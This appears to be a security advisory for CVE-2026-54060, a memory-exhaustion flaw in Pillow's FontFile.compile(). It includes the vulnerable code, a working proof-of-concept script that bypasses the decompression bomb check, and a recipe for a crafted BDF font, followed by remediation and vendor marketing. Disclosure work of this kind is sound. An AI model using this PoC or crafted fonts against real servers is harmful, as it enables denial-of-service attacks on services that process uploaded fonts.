Summary
Pillow: FontFile.compile(): Image.new() called without decompressionbomb_check()
Description
PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.
Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation, and it has no check.
Vulnerable code (PIL/FontFile.py lines ~64–92):
def compile(self) -> None:
if self.bitmap:
return
h = w = maxwidth = 0
lines = 1
for glyph in self.glyph: # up to 256 glyph slots
if glyph:
d, dst, src, im = glyph
h = max(h, src[3] - src[1]) # max glyph height, attacker-controlled
w = w + (src[2] - src[0])
if w > WIDTH: # WIDTH = 800
lines += 1
w = src[2] - src[0]
maxwidth = max(maxwidth, w)
xsize = maxwidth # ≤ 800 (capped by WIDTH constant)
ysize = lines * h # ← lines(256) × h(65535) = 16,776,960
if xsize == 0 and ysize == 0:
return
self.ysize = h
# NO _decompression_bomb_check() here ←
self.bitmap = Image.new("1", (xsize, ysize)) # ← unchecked allocation
"Slow accumulation" attack, per-glyph dimensions stay BELOW warning threshold:
| Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) |
|---|---|---|
| Pixel count | 700,000 | 179,200,000 |
| DecompressionBombWarning threshold (89.4M) | 0.008×, no warning | 2.0×, above warning |
| DecompressionBombError threshold (178.9M) | 0.004×, no error | 1.001×, above error |
With PCF-maximum glyph height (65,535):
| Metric | Value |
|---|---|
| lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) |
| h (max glyph height) | 65,535 |
| xsize | 800 |
| ysize = lines × h | 256 × 65,535 = 16,776,960 |
| Total pixels | 800 × 16,776,960 = 13,421,568,000 |
| Ratio vs. DecompressionBombError threshold | 75× |
| Memory (mode "1", 1 bit/pixel) | ~1.6 GB |
Steps to reproduce
Proof of Concept script:
#!/usr/bin/env python3
"""
PoC: FontFile.compile() bomb bypass
256 glyphs at 800x875 each (individually below warning threshold)
→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
"""
from PIL import FontFile, Image
MAX_GLYPHS = 256
GLYPH_W = 800
GLYPH_H = 875 # individual: 700K px, below 89.4M warning threshold
class MockFont(FontFile.FontFile):
def __init__(self):
super().__init__()
# Each glyph is individually safe (700K px < 89.4M warning)
im = Image.new("1", (GLYPH_W, GLYPH_H))
for i in range(MAX_GLYPHS):
self.glyph[i] = (
(GLYPH_W, GLYPH_H),
(0, -GLYPH_H, GLYPH_W, 0),
(0, 0, GLYPH_W, GLYPH_H),
im,
)
# Confirm bomb check WOULD catch the combined size
combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
try:
Image._decompression_bomb_check(combined_size)
print("[FAIL] bomb check did not raise, unexpected")
except Image.DecompressionBombError as e:
print(f"[OK] bomb check WOULD block {combined_size}: {e}")
# Vulnerable path: compile() has NO bomb check
font = MockFont()
font.compile() # → Image.new("1", (800, 224000)), no error raised
px = font.bitmap.size[0] * font.bitmap.size[1]
threshold = Image.MAX_IMAGE_PIXELS * 2
print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
print(f" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)")
print(f" No DecompressionBombError raised at any point.")
Expected output:
[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit
of 178956970 pixels, could be decompression bomb DOS attack.
[BYPASS] compile() succeeded: bitmap=(800, 224000)
pixels=179,200,000 (1.001× DecompressionBombError threshold)
No DecompressionBombError raised at any point.
Verified live on Pillow 12.2.0, compile() succeeds with no exception.
Real-world trigger using BDF font file:
from PIL import BdfFontFile
import io
# Load a crafted BDF font with 256 glyphs each claiming height=65535
# (each glyph individually: 800 × 65535 = 52.4M px, below 89.4M warning)
# compile() combined: 800 × 16,776,960 = 13.4B px, 75× error threshold
font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
font.to_imagefont() # → compile() → ~1.6 GB allocation, NO bomb check
Attack scenarios:
| Scenario | Effect |
|---|---|
Web font preview (BdfFontFile(upload).to_imagefont()) |
DoS with crafted .bdf upload |
Server-side font renderer that loads PCF → to_imagefont() |
OOM crash |
| Font pipeline: load → render text | One malicious font file kills the process |
Impact
- Availability: HIGH,
compile()creates a combined bitmap whose pixel count scales asWIDTH × lines × max_glyph_heightwith no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory. - Confidentiality: None
- Integrity: None
Affected call paths:
BdfFontFile.BdfFontFile(fp).to_imagefont()→FontFile.compile()BdfFontFile.BdfFontFile(fp).save(filename)→FontFile.compile()PcfFontFile.PcfFontFile(fp).to_imagefont()→FontFile.compile()PcfFontFile.PcfFontFile(fp).save(filename)→FontFile.compile()
Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check.
Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.
CVE-2026-54060 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (12.3.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-54060? CVE-2026-54060 is a high-severity security vulnerability in pillow (pip), affecting versions < 12.3.0. It is fixed in 12.3.0.
- How severe is CVE-2026-54060? CVE-2026-54060 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of pillow are affected by CVE-2026-54060? pillow (pip) versions < 12.3.0 is affected.
- Is there a fix for CVE-2026-54060? Yes. CVE-2026-54060 is fixed in 12.3.0. Upgrade to this version or later.
- Is CVE-2026-54060 exploitable, and should I be worried? Whether CVE-2026-54060 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-54060 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-54060? Upgrade
pillowto 12.3.0 or later.